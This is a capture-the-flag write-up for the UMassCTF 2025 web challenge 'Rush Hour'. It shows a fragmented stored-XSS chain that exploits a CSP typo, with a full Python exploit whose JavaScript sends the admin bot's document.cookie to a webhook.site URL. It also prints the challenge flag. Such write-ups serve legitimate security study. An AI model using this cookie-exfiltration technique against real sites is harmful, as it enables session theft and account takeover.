Challenge
- Ctf:
UmassCTF 2025
- Website:
https://ctf.umasscybersec.org/
- Title:
Rush Hour
- Category:
Web
- Difficulty:
Medium
- Description:
It's almost rush hour at Papa's Freezeria! Let's start writing those orders down!
- Connection:
http://rush-hour.ctf.umasscybersec.org
This was quite the test as regards confidence with:
- XSS Delivery
- CSRF techniques
- Web security measures
In its essence, the challenge consists of delivering an XSS to the admin, impersonated by a Puppetteer process, in order to exfiltrate the secret hidden in their cookies. In practice, the are a few obstacles to overcome:
1) The XSS payload has to be fragmented
To build the stored XSS, the attacker has to send properly encoded requests to create notes on their personal page. Every note will contain a piece of the payload. In order to put it back together, we can use JS comments to filter out the HTML elements separating the notes, obtaining valid JS code.
2) Notes are read-only for others
The application prevents common users to modify admin notes and viceversa. To exfiltrate the flag, the admin has to create their own notes containing the required XSS. This adds a layer to payload delivery.
3) The application enforces Content-Security-Policy (CSP)
The security policy of the application forbids the execution of JS code that tries to fetch any resource via HTTP requests. Some neat workarounds can be applied due to an error in the CSP definition.
Due to all these points to take into consideration, the solving process was filled with planning, testing, researching and scripting. I’m gonna retrace the steps that led me to formulating a working exploit, including the errors I encountered and how i fixed them.
Solution
The application is a note-taking web app. The user is provided with a field for note submission, a button to eliminate every note and an endpoint used to report notes to an admin:

The application runs on Node.js and is written in Javascript. Persistent information is stored in Redis.
We’re provided with two .js
files:
app.js
, the code for the applicationadmin.js
, the code for a Puppetter which impersonates a backend admin
Reading the source code we extrapolate valuable information:
- There is a length limit for each note
A normal user can insert notes that are at most 16 characters long. The limit is 42 for a backend administrator:
if(req.ip === '::ffff:127.0.0.1'){
if(req.query.note.length > 42) {
return res.send("Invalid note length!")
}
} else {
if(req.query.note.length > 16) {
return res.send("Invalid note length!")
}
}
- The flag can be obtained only by an admin
The secret value is added to admin cookies only in a specific scenario:
if (req.params.id.includes("admin") && req.ip == '::ffff:127.0.0.1' && !banned_fetch_dests.includes(req.headers['sec-fetch-dest'])) {
res.cookie('supersecretstring', process.env.FLAG);
- The report operation makes an admin visit a page of notes
try {
await page.goto(`http://127.0.0.1:${3000}/user/${user}`);
await new Promise((resolve) => setTimeout(resolve, 3*60*1000));
} finally {
return res(await browser.close());
}
- The notes list is constructed on the fly:
notes.forEach(note => {
content += "<li>";
content += note;
content += "</li>";
})
At this point, we can conclude that the notes page is likely vulnerable to XSS via note insertion. The payload has to be built piece by piece due to the character limit per request. Once built, we must report the page to make an admin visit it. Finally, the payload needs to contain an exfiltration towards an endpoint we control in order to retrieve the flag.
Let’s start by building the payload.
As pointed out in the code above, every note posted is encapsulated within the tags
<li>
and </li>
. To create a functioning <script>
tag, I’ve come up with this first iteration:
<script>/*
*/ alert(/*
*/"lit"+/*
*/"fire")/*
*/ </script>
where every line of the payload is sent one after another, creating a note. With this method, we obtain a stored XSS:

The corresponding code on the page highlights the utility of the comments:
<script>
/*</li><li>*/ alert(/*</li><li>*/"lit"+/*</li><li>*/"fire")/*</li><li>*/
</script>
So, as long as any function in the payload does not require more than 12 characters to be written, we’re fine.
I quickly realized that this limitation was too restrictive. A valid second iteration builds up on the idea of string concatenation to transmit the code, followed by a final
eval()
to execute the code within that string:
let p="<code to execute>";
eval(p)
Using this format, I automated the payload splitting and encapsulation writing two Python functions:
def split_payload(payload, step):
start = '*/"'
end = '"+/*'
result=''
for i in range(0,len(payload),step):
s = payload[i:i+step].replace('"','\\"')
result+=start+s+end+"\n"
result = ''.join(result.rsplit('+',1)) # remove final '+'
return result
def encapsulate_payload(payload, step):
start='<script>/*\n*/p=""+/*\n'
end='*/;eval(p);/*\n*/</script>'
content=split_payload(payload, step)
return start+content+end
Each piece of the final encapsulation is on a new line, to later facilitate the sending:
reqs = final.split('\n')
for i,r in zip(range(len(reqs)), reqs):
print(f'[*] Sending req #{i+1} of {len(reqs)}')
response = s.get(app+'create?'+urlencode({'note':r}))
if response.status_code != 200 or 'Invalid' in response.text:
print('[X] Error in sending request.')
exit(1)
We’re missing some code between the two sections that will be addressed later.
At this point, we can think about the payload to send to the admin.
My first idea was to just execute a fetch()
function in JS to retrieve the content of the flag page and then another one to exfiltrate the secret. So, I tested uploading such payload, and came across an unexpected result:

As anticipated, the application enforces Content-Security-Policy:
<meta
http-equiv="Content-Security-Policy"
content="defaul-src 'none'; connect-src 'none';" />
Not everything is lost though. Once we land on the application, inspecting the browser console gives away this suggestion:

There is a typo in the CSP definition.
This means that the only active restriction is connect-src 'none';
, meaning that functions like fetch()
can’t be used, but other methods of retrieving external resources are still valid.
In particular, the solution I applied was to employ
<script>
and <iframe>
tags specifying in the src
attribute the URL of the resource to retrieve via HTTP GET.
This solution was particularly feasable since I didn’t need to actually get the content of the resource, but just to send the request, both for creating notes and for exfiltrating data to my webhook.
This brings us to a third iteration of the payload format:
s=document.createElement('script');
s.src=`<resource_to_get>`;
document.body.appendChild(s);
Given we need to have the admin exfiltrate the secret code from a page containing notes, owned by an admin, the final payload to deliver is something like this:
s=document.createElement('iframe');
s.src='https://webhook.site/<id>?'+document.cookie;
document.body.appendChild(s);
Where the webhook is easily setup on this website and lets us see any request that arrives. To create the notes page with the admin payload, the sequence of operations will be:
1) Create a user notes page containing notes creation queries 2) Report the page to an admin who will create an admin page note 3) Report the admin page note to trigger the final payload
This is where I run into another issue.
Once built the payload and uploaded it, visiting the note pages hosting the stored XSS induces the visitor to create notes themself, that will contain the exfiltration payload.
Nevertheless, after testing several times, such exfiltration never worked.
Editing the payload to be executed from a common user, I realized that the problem was in the order that the src
requests were issued.
Experimenting, it came up that even though the
<script>
elements were inserted in the correct order in the page, the note creation requests completed at random times, breaking the XSS on the final page.
To solve this, I implemented a last payload iteration, adding a sleep-like
function to ensure the requests were issued with the correct timing:
def async_wrapping(reqs):
async_f=''
for r in reqs:
async_f+=r+'await l();'
leading = 'function l(){return new Promise(r=>setTimeout(r,1000))};async function t(){'
trailing = '}; t();'
wrapped = leading + async_f + trailing
return wrapped
With this modification, I finally got a working exploit.
Exploit
To sum up, I automated the operations of payload building, page reporting and payload triggering in a Python exploit. Before launching the exploit, I get a webhook online and update the script with the URL associated to it. This is the source code:
import requests
from urllib.parse import urlencode
from time import sleep
def split_payload(payload, step):
start = '*/"'
end = '"+/*'
result=''
for i in range(0,len(payload),step):
s = payload[i:i+step].replace('"','\\"')
result+=start+s+end+"\n"
result = ''.join(result.rsplit('+',1)) # remove final '+'
return result
def encapsulate_payload(payload, step):
start='<script>/*\n*/p=""+/*\n'
end='*/;eval(p);/*\n*/</script>'
content=split_payload(payload, step)
return start+content+end
def async_wrapping(reqs):
async_f=''
for r in reqs:
async_f+=r+'await l();'
leading = 'function l(){return new Promise(r=>setTimeout(r,1000))};async function t(){'
trailing = '}; t();'
wrapped = leading + async_f + trailing
return wrapped
user_xss='''s=document.createElement('script');\
s.src=`http://127.0.0.1:3000/create?note=`+`{}`;\
document.body.appendChild(s);'''
admin_xss='''\
s=document.createElement('iframe');\
s.src='https://webhook.site/11a11cb8-33fa-4caa-9061-c97162fa5249?'+document.cookie;\
document.body.appendChild(s);\
'''
# getting cookie
s = requests.Session()
app = 'http://rush-hour.ctf.umasscybersec.org/'
response = s.get(app)
if response.status_code != 200:
print('[!] Error, cant fetch app main page')
exit(1)
# building payload
#stage1 = encapsulate_payload(admin_xss,5) # 5 for user, 11 for admin
stage1 = encapsulate_payload(admin_xss,11) # 5 for user, 11 for admin
stage2 = [urlencode({'note':e}).split('=')[1] for e in stage1.split('\n')]
stage3 = []
for c in stage2:
stage3.append(user_xss.format(c))
payload_requests = len(stage3)
stage4 = async_wrapping(stage3)
final = encapsulate_payload(stage4,9)
# creating notes
user = dict(s.cookies)['user']
print(f'[*] Page created: {user}')
reqs = final.split('\n')
for i,r in zip(range(len(reqs)), reqs):
print(f'[*] Sending req #{i+1} of {len(reqs)}')
response = s.get(app+'create?'+urlencode({'note':r}))
if response.status_code != 200 or 'Invalid' in response.text:
print('[X] Error in sending request.')
exit(1)
print(f'[*] Done. Page: {user}')
# triggering payload
print('[*] Triggering exploit.')
report = s.get(app+'report/'+user)
if report.status_code != 200:
print('[X] Error in reporting')
exit(1)
admin = report.text.split(' ')[-1].strip()
sleep(2*payload_requests)
print(f"[**] Reporting to admin with id {admin}")
trigger = s.get(app+'report/'+admin)
if trigger.status_code != 200:
print('[X] Error in triggering payload')
exit(1)
print('[**] Payload triggered')
# UMASS{tH3_cl053Rz_@re_n0_m@tcH}
To retrieve the flag, keep an eye on the webhook until the request arrives, containing the secret flag as a URL-encoded parameter:

Conclusion
Even though the challenge was rated at Medium difficulty, scripting the payload construction in its iterations and layers wasn’t easy. Having a broad skillset, as concerns intuition and technology versatility, was definitely relevant. Finally, I think that navigating the solution process served as a useful study on Web Security, both from an offensive and a defensive point of view.